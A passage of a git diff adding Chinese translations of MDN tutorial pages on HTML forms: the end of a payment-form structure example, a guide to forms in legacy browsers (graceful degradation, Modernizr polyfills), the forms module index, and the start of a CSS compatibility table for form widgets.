元素,用来输入卡片的过期日期(这将在支持的浏览器中出现一个日期选择器小部件,并在非支持的浏览器中回退到普通的文本输入)。同样,在之前的代码后面输入以下内容: + <pre class="brush: html"><section> + <h2>Payment information</h2> + <p> + <label for="card"> + <span>Card type:</span> + </label> + <select id="card" name="usercard"> + <option value="visa">Visa</option> + <option value="mc">Mastercard</option> + <option value="amex">American Express</option> + </select> + </p> + <p> + <label for="number"> + <span>Card number:</span> + <strong><abbr title="required">*</abbr></strong> + </label> + <input type="number" id="number" name="cardnumber"> + </p> + <p> + <label for="date"> + <span>Expiration date:</span> + <strong><abbr title="required">*</abbr></strong> + <em>formatted as mm/yy</em> + </label> + <input type="date" id="date" name="expiration"> + </p> +</section></pre> + </li> + <li>我们要添加的最后一个部分要简单得多,它只包含了一个<code>submit</code>类型的 {{htmlelement("button")}} ,用于提交表单数据。现在把这个添加到你的表单的底部: + <pre class="brush: html"><p> <button type="submit">Validate the payment</button> </p></pre> + </li> +</ol> + +<p>您可以在下面看到已完成的表单 (你可以在Github上看到<a href="https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/payment-form.html">源码</a>和<a href="https://mdn.github.io/learning-area/html/forms/html-form-structure/payment-form.html">预览版</a>):</p> + +<p>{{EmbedLiveSample("A_payment_form","100%",620, "", "Learn/HTML/Forms/How_to_structure_an_HTML_form/Example")}}</p> + +<h2 id="总结">总结</h2> + +<p>现在,您已经具备了正确地构造HTML表单所需的所有知识;下一篇文章将深入介绍各种不同类型的表单小部件,您将希望从用户那里收集信息。</p> + +<h2 id="另见">另见</h2> + +<ul> + <li><a href="http://www.alistapart.com/articles/sensibleforms/" rel="external" title="http://www.alistapart.com/articles/sensibleforms/">A List Apart: <em>Sensible Forms: A Form Usability Checklist</em></a></li> +</ul> + +<p>{{PreviousMenuNext("Learn/HTML/Forms/Your_first_HTML_form", "Learn/HTML/Forms/The_native_form_widgets", "Learn/HTML/Forms")}}</p> diff --git a/files/zh-cn/learn/html/forms/html_forms_in_legacy_browsers/index.html b/files/zh-cn/learn/html/forms/html_forms_in_legacy_browsers/index.html new file mode 100644 index 0000000000..d6045e0d70 --- /dev/null +++ b/files/zh-cn/learn/html/forms/html_forms_in_legacy_browsers/index.html @@ -0,0 +1,215 @@ +--- +title: 旧式浏览器中的HTML 表单 +slug: Learn/HTML/Forms/HTML_forms_in_legacy_browsers +translation_of: Learn/Forms/HTML_forms_in_legacy_browsers +--- +<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/Sending_forms_through_JavaScript", "Learn/HTML/Forms/Styling_HTML_forms", "Learn/HTML/Forms")}}</div> + +<p class="summary">所有 web 开发者很快就会(有时候是痛苦地)发现网络是一个令人不快的地方。我们碰到的最恶毒的诅咒是旧式浏览器。好吧,让我们承认吧,当我们提到 “旧式浏览器” 时,脑海中出现就是 老版本的 Internet Explorer ……但是,这远远不是全部。只发布一年的 Firefox 比如 <a href="http://www.mozilla.org/en-US/firefox/organizations/" title="http://www.mozilla.org/en-US/firefox/organizations/">the ESR version</a> 也是旧式浏览器。那么,在移动世界呢?当浏览器和 OS(操作系统) 都不能更新时?是的,有非常多老版本的 Android 手机或 iPhone 没有更新到最新的浏览器。它们同样是旧式浏览器。</p> + +<p>可悲的是,处理这些传统浏览器的问题是工作的一部分。幸运的是,有一些技巧可以帮助您解决旧式浏览器导致的大约80%的问题。</p> + +<h2 id="了解这些问题">了解这些问题</h2> + +<p>实际上,最重要的事情是阅读那些浏览器的文档,并尝试理解通用的(解决)模式。例如,在许多情况下,HTML表单是否支持CSS是最大的问题。这是正确的开始,只需要检查你想用的元素或接口是否支持CSS即可。MDN有一个关于包含HTML中可用的元素、属性或API的兼容表单可查。 此外,仍有其他一些非常有用的资源:</p> + +<h3 id="浏览器厂商的文档">浏览器厂商的文档</h3> + +<ul> + <li>Mozilla: 直接查看MDN即可</li> + <li>Microsoft: <a href="http://msdn.microsoft.com/en-us/library/ff410218%28v=vs.85%29.aspx" rel="external" title="http://msdn.microsoft.com/en-us/library/ff410218%28v=vs.85%29.aspx">Internet Explorer Standards Support Documentation</a></li> + <li>WebKit: 由于有多个版本的引擎,稍微有点棘手. + <ul> + <li><a href="https://www.webkit.org/blog/" rel="external" title="https://www.webkit.org/blog/">The WebKit blog</a> 和 <a href="http://planet.webkit.org/" rel="external" title="http://planet.webkit.org/">Planet WebKit</a> 聚合了Webki核心开发者的最佳文章.</li> + <li><a href="https://www.chromestatus.com/features" title="http://www.chromium.org/developers/web-platform-status">Chrome platform status site</a> 也十分重要</li> + <li>同样重要的是 <a href="https://developer.apple.com/technologies/safari/" rel="external" title="https://developer.apple.com/technologies/safari/">the Apple web site.</a></li> + </ul> + </li> +</ul> + +<h3 id="独立文档">独立文档</h3> + +<ul> + <li><a href="http://caniuse.com" rel="external" title="http://caniuse.com">Can I Use</a> 有关于是否支持最新技术的信息.</li> + <li><a href="http://www.quirksmode.org" rel="external" title="http://www.quirksmode.org">Quirks Mode</a> 是关于浏览器兼容性的精彩资源. <a href="http://www.quirksmode.org/mobile/" rel="external" title="http://www.quirksmode.org/mobile/">mobile部分</a>是当前最好的内容之一.</li> + <li><a href="http://positioniseverything.net/" rel="external" title="http://positioniseverything.net/">Position Is Everything</a> 关于旧式浏览器渲染bug以及解决办法(如果有)的最佳资源.</li> + <li><a href="http://mobilehtml5.org" rel="external" title="http://mobilehtml5.org">Mobile HTML5</a> 有关于大量手机浏览器的兼容性信息,而不仅仅是是前五名(包括诺基亚,亚马逊和黑莓).</li> +</ul> + +<h2 id="让事情变得更简单">让事情变得更简单</h2> + +<p>由于<a href="/en-US/docs/HTML/Forms" title="/en-US/docs/HTML/Forms">HTML forms</a> 包含复杂的交互,所以有一条法则: <a href="http://en.wikipedia.org/wiki/KISS_principle" rel="external" title="http://en.wikipedia.org/wiki/KISS_principle">keep it as simple as possible</a>。很多时候,我们想让表单更美观或想使用更高级的技术,然而,构建高效的HTML表单不只是设计和技术问题。记得花时间读一下这篇文章t <a href="http://www.uxforthemasses.com/forms-usability/" rel="external" title="http://www.uxforthemasses.com/forms-usability/">forms usability on UX For The Masses</a>.</p> + +<h3 id="优雅地降级(Graceful_degradation)是web开发者最好的朋友">优雅地降级(Graceful degradation)是web开发者最好的朋友</h3> + +<p><a href="http://www.sitepoint.com/progressive-enhancement-graceful-degradation-choice/" rel="external" title="http://www.sitepoint.com/progressive-enhancement-graceful-degradation-choice/">Graceful degradation and progressive enhancement</a> 是一个开发模式,它允许你通过同时支持多种浏览器来构建优秀内容。当你为现代浏览器构建内容时,你想确保它能在旧式浏览器中以某种方式工作,这就是优雅地降级(graceful degradation).</p> + +<p>让我们看一些关于HTML表单的例子:</p> + +<h4 id="HTML_input_类型">HTML input 类型</h4> + +<p>HTML5引入的新input类型十分酷,因为他们的降级(degrade)是高度可预测的。如果一个浏览器不能理解 {{HTMLElement("input")}}元素的 {{htmlattrxref("type","input")}} 属性, 它将会后退到<code>text</code>一样的行为。</p> + +<pre class="brush: html"><label for="myColor"> + Pick a color + <input type="color" id="myColor" name="color"> +</label></pre> + +<table> + <thead> + <tr> + <th scope="col" style="text-align: center;">Chrome 24</th> + <th scope="col" style="text-align: center;">Firefox 18</th> + </tr> + </thead> + <tbody> + <tr> + <th style="text-align: center;"><img alt="Screen shot of the color input on Chrome for Mac OSX" src="/files/4575/color-fallback-chrome.png" style="height: 35px; width: 139px;"></th> + <th style="text-align: center;"><img alt="Screen shot of the color input on Firefox for Mac OSX" src="/files/4577/color-fallback-firefox.png" style="height: 30px; width: 245px;"></th> + </tr> + </tbody> +</table> + +<h4 id="CSS_属性选择器">CSS 属性选择器</h4> + +<p><a href="/en-US/docs/CSS/Attribute_selectors" title="/en-US/docs/CSS/Attribute_selectors">CSS属性选择器 </a> 在 <a href="/en-US/docs/HTML/Forms" title="/en-US/docs/HTML/Forms">HTML Forms</a> 中十分有用,然而旧式浏览器不支持. 在那种情形下,一般会习惯性使用等价的class:</p> + +<pre class="brush: html"><input type="number" class="number"></pre> + +<pre class="brush: css">input[type=number] { + /* 这在一些浏览器中是不能执行的 */ +} + +input.number { + /* 可以在任何浏览器中执行 */ +}</pre> + +<p>注意下面的写法没有用(由于它是重复的),在某些浏览器中会失败:</p> + +<pre class="brush: css">input[type=number], +input.number { + /* 在某些浏览器中,这可能会失败,因为如果他们不理解其中任何一个选择器,则跳过整个规则 */ +}</pre> + +<h4 id="表单按钮">表单按钮</h4> + +<p>有两种定义HTML表单按钮的方式:</p> + +<ul> + <li>{{HTMLElement("input")}} 元素使用{{htmlattrxref("type","input")}} 属性并设置其值为<code>button</code>, <code>submit</code>, <code>reset</code> or <code>image</code></li> + <li>{{HTMLElement("button")}} 元素</li> +</ul> + +<p>如果你想通过元素选择器在按钮上应用CSS的话,采用 {{HTMLElement("input")}} 元素的方式会让事情变得稍微有点复杂:</p> + +<pre class="brush: html"><input type="button" class="button" value="click me"></pre> + +<pre class="brush: css">input { + /* 此规则关闭了input元素定义的按钮的默认渲染样式 */ + border: 1px solid #CCC; +} + +input.button { + /* 这条规则不会恢复默认渲染*/ + border: none; +} + +input.button { + /* 这条也不会(恢复)! 实际上在浏览器中没有标准方式实现这一目标 */ + border: auto; +}</pre> + +<p>{{HTMLElement("button")}} 元素有两个问题令人困扰:</p> + +<ul> + <li>在某些旧版本的IE浏览器中有bug。当用户点击按钮时,它不是发送{{htmlattrxref("value","button")}}属性中的内容,而是发送 {{HTMLElement("button")}} 的开闭标签之间的HTML内容. 如果我们想发送值时,这是一个问题,例如发送的处理数据依赖于用户点击不同的按钮时.</li> + <li>一些旧浏览器不使用<code>submit</code> 作为 {{htmlattrxref("type","button")}} 属性的默认值, 所以建议总是在{{HTMLElement("button")}} 元素上设置设置 {{htmlattrxref("type","button")}} 属性.</li> +</ul> + +<pre class="brush: html"><!-- 某些情形下,点击按钮将发送 "<em>Do A</em>" 而不是值"A" --> +<button type="submit" name="IWantTo" value="A"> + <em>Do A</em> +</button></pre> + +<p>给予你的工程限制来选择上述任一种解决方案。</p> + +<h3 id="让我们过一遍CSS">让我们过一遍CSS</h3> + +<p>HTML表单和旧式浏览器最大的问题是CSS的兼容性。正如你可以从这篇文章 <a href="/en-US/docs/Property_compatibility_table_for_form_widgets" title="/en-US/docs/Property_compatibility_table_for_form_widgets">Property compatibility table for form widgets</a> 中看到的复杂性, 它非常的困难。即使仍然可以对文本元素(如大小、字体颜色等)进行一些调整,但那样做会有副作用。最好的办法还是不要美化HTML表单小组件。但你仍然可以将样式应用到表单周围的项目上。如果你是一个专业人士,并且你的客户需要那么做,在这种情况下,你可以研究一些硬技能,如 <a href="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets">rebuilding widgets with JavaScript</a>。但在那种情况下,最好还是毫不犹豫的<a href="http://www.smashingmagazine.com/2011/11/03/but-the-client-wants-ie-6-support/" rel="external" title="http://www.smashingmagazine.com/2011/11/03/but-the-client-wants-ie-6-support/">让客户收回这些愚蠢的决定</a>。</p> + +<h2 id="功能检测和模拟(polyfills)">功能检测和模拟(polyfills)</h2> + +<p>尽管JavaScript在现代浏览中是非常棒的技术,但在旧式浏览器中可能存在很多的问题。</p> + +<h3 id="Unobtrusive_JavaScript">Unobtrusive JavaScript</h3> + +<p>API的兼容性是最大的问题。由于这个原因,与"不引人注意的(unobtrusive)" JavaScript一起工作被认为是最佳实践(译者注:此处意思是说没有/忽略JS或JS出了问题也能工作)。这个开发模式定义了两个需求:</p> + +<ul> + <li>结构和行为之间的严格隔离</li> + <li>如果代码出错,内容和基本功能必须保持可访问和可用状态</li> +</ul> + +<p><a href="http://docs.webplatform.org/wiki/concepts/programming/the_principles_of_unobtrusive_javascript" rel="external" title="http://docs.webplatform.org/wiki/concepts/programming/the_principles_of_unobtrusive_javascript">The principles of unobtrusive JavaScript</a> (最早是由Peter-Paul Koch为 Dev.Opera.com 所撰写,现在已转移到 Docs.WebPlatform.org) 同样阐述了上述观点。</p> + +<h3 id="Modernizr_库">Modernizr 库</h3> + +<p>有很多情形,好的"polyfill"能通过提供缺少的API以提供帮助。一个 <a href="http://remysharp.com/2010/10/08/what-is-a-polyfill/" rel="external" title="http://remysharp.com/2010/10/08/what-is-a-polyfill/">polyfill</a> 是一些JavaScript(脚本) 用于填补旧式浏览器中的功能缺失。虽然它们可以用来改进对任何功能的支持,并且使用它们Nederland风险小于CSS和HTML,然而,JS仍然会在很多情况下不工作(网络问题,脚本冲突等)。但是对于JavaScript,如果你总是记住和unobetructive的Javascript一起工作,不适用polyfill也没什么大不了。</p> + +<p>最好的polyfill缺失API的方式是使用<a href="http://modernizr.com" rel="external" title="http://modernizr.com">Modernizr</a> 库以及它的子项目 <a href="http://yepnopejs.com" rel="external" title="http://yepnopejs.com">YepNope</a>. Modernizr 库允许您测试功能可用性,以便采取相应的行动。YepNope 是一个条件加载库。</p> + +<p>下面是一个例子:</p> + +<pre class="brush: js">Modernizr.load({ + // 这会测试您的浏览器是否支持HTML5表单验证API + test : Modernizr.formvalidation, + + // 如果浏览器不支持它,则会加载以下polyfill + nope : form-validation-API-polyfill.js, + + // 无论如何,你的核心App文件依赖于该API被加载 + both : app.js, + + // 一旦加载了这两个文件,就会调用该函数来初始化应用程序 + complete : function () { + app.init(); + } +});</pre> + +<p>Modernizr 团队按照惯例维护着<a href="https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills" rel="external" title="https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills">a list of great polyfills</a>。仅仅按需使用即可。</p> + +<div class="note"> +<p><strong>Note:</strong> Modernizr还有其他很棒的功能可以帮助您处理unobstructive的JavaScript和优雅的降级技术。请阅读 <a href="http://modernizr.com/docs/" rel="external" title="http://modernizr.com/docs/">Modernizr documentation</a>.</p> +</div> + +<h3 id="注意性能">注意性能</h3> + +<p>尽管像Modernizr这样的脚本对性能非常敏感,但加载200千字节的polyfill仍然会影响程序的性能。这对旧式浏览器来说尤其重要,这些浏览器有处理速度非常慢的JavaScript引擎,让polyfills的执行对于用户来说变得很痛苦。性能本身就是一个主题,但旧式浏览器对它非常敏感:基本上,它们速度慢,需要的poliyfill越多,它们需要处理的JavaScript越多。与现代浏览器相比,它们承受双重负担。使用旧版浏览器测试你的代码,了解它们的实际表现。有时,放弃某些功能会带来更好的用户体验,而不是在所有浏览器中具有完全相同的功能。作为最后提醒,总是优先考虑用户。</p> + +<h2 id="总结">总结</h2> + +<p>正如你所看到的,处理旧式浏览器不仅仅是表单问题。而是一整套技术;但是掌握所有这些技术超出了本文的范围。</p> + +<p>如果你阅读了<a href="/en-US/docs/HTML/Forms" title="/en-US/docs/HTML/Forms">HTML Forms guide</a>中的所有文章,你应该可以放心的使用表单了。如果你想探索新技术,请帮助<a href="/en-US/docs/Project:How_to_help" title="/en-US/docs/Project:How_to_help">improve the guide</a>.</p> + +<p>{{PreviousMenuNext("Learn/HTML/Forms/Sending_forms_through_JavaScript", "Learn/HTML/Forms/Styling_HTML_forms", "Learn/HTML/Forms")}}</p> + +<p> </p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/HTML/Forms/Your_first_HTML_form">Your first HTML form</a></li> + <li><a href="/en-US/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">How to structure an HTML form</a></li> + <li><a href="/en-US/docs/Learn/HTML/Forms/The_native_form_widgets">The native form widgets</a></li> + <li><a href="/en-US/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">Sending form data</a></li> + <li><a href="/en-US/docs/Learn/HTML/Forms/Form_validation">Form data validation</a></li> + <li><a href="/en-US/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">How to build custom form widgets</a></li> + <li><a href="/en-US/docs/Learn/HTML/Forms/Sending_forms_through_JavaScript">Sending forms through JavaScript</a></li> + <li>旧式浏览器中的HTML表单使用</li> + <li><a href="/en-US/docs/Learn/HTML/Forms/Styling_HTML_forms">Styling HTML forms</a></li> + <li><a href="/en-US/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms">Advanced styling for HTML forms</a></li> + <li><a href="/en-US/docs/Learn/HTML/Forms/Property_compatibility_table_for_form_widgets">Property compatibility table for form widgets</a></li> +</ul> + +<p> </p> diff --git a/files/zh-cn/learn/html/forms/index.html b/files/zh-cn/learn/html/forms/index.html new file mode 100644 index 0000000000..ad51eafa35 --- /dev/null +++ b/files/zh-cn/learn/html/forms/index.html @@ -0,0 +1,77 @@ +--- +title: HTML表单指南 +slug: Learn/HTML/Forms +tags: + - Forms + - HTML + - NeedsTranslation + - TopicStub +translation_of: Learn/Forms +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">这个模块提供了一系列帮助您掌握HTML表单的文章。HTML表单是与用户交互的强大工具;然而,由于历史和技术上的原因,如何充分发挥它们的潜力并不总是显而易见的。在本指南中,我们将介绍HTML表单的所有方面,从结构到样式,从数据处理到自定义小部件。</p> + +<h2 id="预备知识">预备知识</h2> + +<p>在开始这个模块之前,您至少应该完成我们<a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML">对HTML的介绍</a>。此时此刻,您应该会发现{{anch("基本指南")}}很容易理解,并且能够使用我们的<a href="/zh-CN/docs/Learn/HTML/Forms/The_native_form_widgets">原生表单小部件</a>指南。</p> + +<p>但是模块的其余部分更高级一些,很容易将表单小部件放在页面上,但是如果不使用高级表单特性、CSS和JavaScript,就不能对它们做太多的工作。因此,在您查看其他部分之前,我们建议您先离开,先学习一些<a href="/zh-CN/docs/Learn/CSS">CSS</a>和<a href="/zh-CN/docs/Learn/JavaScript">JavaScript</a>。</p> + +<div class="note"> +<p><strong>注意:</strong>如果您正在使用一个不能让您创建自己的文件的计算机/平板电脑/其它设备,那么您可以尝试(大多数)在线编码程序中的代码示例,例如<a href="http://jsbin.com/">JSBin</a>或<a href="https://thimble.mozilla.org/">Thimble</a>。</p> +</div> + +<h2 id="基本指南">基本指南</h2> + +<dl> + <dt><a href="/zh-CN/docs/Learn/HTML/Forms/Your_first_HTML_form">你的第一个HTML表单</a></dt> + <dd>本系列的第一篇文章提供了您第一次创建HTML表单的经验,包括设计一个简单表单,使用正确的HTML元素实现它,通过CSS添加一些非常简单的样式,以及如何将数据发送到服务器。</dd> + <dt><a href="/zh-CN/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">如何构造HTML表单</a></dt> + <dd>有了基础知识,我们现在更详细地了解了用于为表单的不同部分提供结构和意义的元素。</dd> +</dl> + +<h2 id="什么表单小部件可用">什么表单小部件可用?</h2> + +<dl> + <dt><a href="/zh-CN/docs/Learn/HTML/Forms/The_native_form_widgets">原生表单小部件</a></dt> + <dd>现在,我们详细研究了不同表单部件的功能,查看了哪些选项可用于收集不同类型的数据。</dd> +</dl> + +<h2 id="验证和提交表单数据">验证和提交表单数据</h2> + +<dl> + <dt><a href="/zh-CN/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">发送表单数据</a></dt> + <dd>本文讨论当用户提交一个表单时,会发生什么情况——表单数据的去向以及当表单数据到达指定位置时我们如何处理?我们还研究了与发送表单数据相关的一些安全问题。</dd> + <dt><a href="/zh-CN/docs/Learn/HTML/Forms/Form_validation">表单数据验证</a></dt> + <dd>发送数据还不够,我们还需要确保数据用户填写表单的格式是正确的,我们需要成功地处理它,而且它不会破坏我们的应用程序。我们还希望帮助用户正确填写表单,在使用应用程序时不要感到沮丧。表单验证帮助我们实现这些目标,本文将告诉您需要了解的内容。</dd> +</dl> + +<h2 id="高级指南">高级指南</h2> + +<dl> + <dt><a href="/zh-CN/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">如何构建自定表单小组件</a></dt> + <dd>在某些情况下,原生表单部件无法提供您需要的东西,例如,由于样式或功能。在这种情况下,您可能需要使用原生HTML构建自己的表单小部件。本文将说明您是如何做到这一点的,以及在实际案例研究中需要注意的事项。</dd> + <dt><a href="/zh-CN/docs/Learn/HTML/Forms/Sending_forms_through_JavaScript">通过JavaScript发送表单</a></dt> + <dd>本文将讨论如何使用表单来组装HTTP请求,并通过定制的JavaScript发送它,而不是标准的表单提交。它还研究了为什么要这么做,以及这样做的意义。(请参阅使用FormData对象。)</dd> + <dt><a href="/zh-CN/docs/Learn/HTML/Forms/HTML_forms_in_legacy_browsers">遗留浏览器中的HTML表单</a></dt> + <dd>文章覆盖特性检测等。这应该被重定向到跨浏览器测试模块,因为相同的东西在那里被更好地覆盖。</dd> +</dl> + +<h2 id="表单样式指南">表单样式指南</h2> + +<dl> + <dt><a href="/zh-CN/docs/Learn/HTML/Forms/Styling_HTML_forms">HTML表单样式</a></dt> + <dd>本文介绍了使用CSS的样式表单,包括您可能需要了解的基本样式任务的所有基础知识。</dd> + <dt><a href="/zh-CN/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms">高级HTML表单样式</a></dt> + <dd>在这里,我们将看到一些更高级的表单样式技术,这些技术需要在处理一些更难以风格的元素时使用。</dd> + <dt><a href="/zh-CN/docs/Learn/HTML/Forms/Property_compatibility_table_for_form_widgets">表单部件的属性兼容性表</a></dt> + <dd>这最后一篇文章提供了一个方便的参考,允许您查看哪些CSS属性与哪些表单元素是兼容的。</dd> +</dl> + +<h2 id="另见">另见</h2> + +<ul> + <li><a href="/zh-CN/docs/Web/HTML/Element#Forms">HTML forms element reference</a></li> + <li><a href="/zh-CN/docs/Web/HTML/Element/input">HTML <input> types reference</a></li> +</ul> diff --git a/files/zh-cn/learn/html/forms/property_compatibility_table_for_form_widgets/index.html b/files/zh-cn/learn/html/forms/property_compatibility_table_for_form_widgets/index.html new file mode 100644 index 0000000000..31f8075f5b --- /dev/null +++ b/files/zh-cn/learn/html/forms/property_compatibility_table_for_form_widgets/index.html @@ -0,0 +1,1988 @@ +--- +title: 表单组件兼容性列表 +slug: Learn/HTML/Forms/Property_compatibility_table_for_form_widgets +translation_of: Learn/Forms/Property_compatibility_table_for_form_controls +--- +<div>{{learnsidebar}}{{PreviousMenu("Learn/HTML/Forms/Advanced_styling_for_HTML_forms", "Learn/HTML/Forms")}}</div> + +<p class="summary">下面的兼容性表格尝试总结 HTML 表单的 CSS 支持状况。由于 CSS 和 HTML 表单的复杂性,不能把这些表格当作完善的参考。但是,它们可以让你很好地洞察什么能做什么不能做,这将会对你学习使用有很好地帮助。</p> + +<h2 id="如何阅读表格">如何阅读表格</h2> + +<h3 id="值">值</h3> + +<p>对于每个属性,有四种可能地取值:</p> + +<dl> + <dt>YES</dt> + <dd>此属性具有相当一致的跨浏览器支持。在某些极端情况下,你可能仍然会面临奇怪的副作用。</dd> + <dt>PARTIAL</dt> + <dd>尽管这个属性会生效,你还是会经常面对奇怪的副作用和不一致性。你应该尽力避免这些属性,除非你已经深知那些副作用。</dd> + <dt>NO</dt> + <dd>此属性就是不工作或者表现得非常不一致,所以并不可靠。</dd> + <dt>N.A.</dt> + <dd>此属性对这种类型的组件没有意义。</dd> +</dl> + +<h3 id="渲染">渲染</h3> + +<p>对于每个属性有两种可能的渲染方式:</p> + +<dl> + <dt>N (Normal)</dt> + <dd>表示这个属性会像设置的那样应用。</dd> + <dt>T (Tweaked)</dt> + <dd>表示这个属性需要通过下列的额外规则来使用:</dd> +</dl> + +<pre class="brush: css">* { +/* This turn off the native look and feel on WebKit based browsers */ + -webkit-appearance: none; + +/* This turn off the native look and feel on Gecko based browsers */ + -moz-appearance: none; + +/* This turn off the native look and feel on several different browsers + including Opera, Internet Explorer and Firefox */ + background: none; +}</pre> + +<h2 id="兼容性表格">兼容性表格</h2> + +<h3 id="Global_behaviors">Global behaviors</h3> + +<p>对许多浏览器来说,许多行为在全局范围内都是通用的:</p> + +<dl> + <dt>{{cssxref("border")}}, {{cssxref("background")}}, {{cssxref("border-radius")}}, {{cssxref("height")}}</dt> + <dd>任意属性可能影响组件部分或全部的原生外观。小心使用。</dd> + <dt>{{cssxref("line-height")}}</dt> + <dd>不同浏览器支持不同,避免使用</dd> + <dt>{{cssxref("text-decoration")}}</dt> + <dd>Opera表单不支持</dd> + <dt>{{cssxref("text-overflow")}}</dt> + <dd>Opera, Safari, IE9 表单不支持</dd> + <dt>{{cssxref("text-shadow")}}</dt> + <dd>Opera 和 IE9 不支持</dd> +</dl> + +<h3 id="Text_fields">Text fields</h3> + +<table> + <thead> + <tr> + <th scope="col">Property</th> + <th scope="col" style="text-align: center;">N</th> + <th scope="col" style="text-align: center;">T</th> + <th scope="col">Note</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>CSS box model</em></th> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1][2]</sup></td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> + <ol> + <li>WebKit 浏览器 (主要在 Mac OSX and iOS 上) 的搜索域使用原生的样式和行为。因此,需要使用 <code>-webkit-appearance:none</code> 才能将这个属性应用到搜索域上。</li> + <li>在 Windows 7, Internet Explorer 9 不会应用到边框上,除非 <code>background:none</code> 已应用。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1][2]</sup></td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> + <ol> + <li>WebKit 浏览器 (主要在 Mac OSX and iOS 上) 的搜索域使用原生的样式和行为。因此,需要使用 <code>-webkit-appearance:none</code> 才能将这个属性应用到搜索域上。</li> + <li>在 Windows 7, Internet Explorer 9 不会应用到边框上,除非 <code>background:none</code> 已应用。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1][2]</sup></td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> + <ol> + <li>WebKit 浏览器 (主要在 Mac OSX and iOS 上) 的搜索域使用原生的样式和行为。因此,需要使用 <code>-webkit-appearance:none</code> 才能将这个属性应用到搜索域上。</li> + <li>在 Windows 7, Internet Explorer 9 不会应用到边框上,除非 <code>background:none</code> 已应用。</li> + </ol> + </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Text and font</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}<sup>[1]</sup></th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> + <ol> + <li>如果 {{cssxref("border-color")}} 属性没有设置,一些基于 WebKit 的浏览器会将 {{cssxref("color")}} 属性应用到边框上,颜色和 {{HTMLElement("textarea")}} 的字体颜色一样。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td>查看有关 {{cssxref("line-height")}} 的注释</td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td> + <td>查看有关 Opera 的注释</td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>IE9 只在 {{HTMLElement("textarea")}} 上支持这个属性,而 Opera 只在单行文本域中支持。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td> + <td style="text-align: center; background-color: rgb(255, 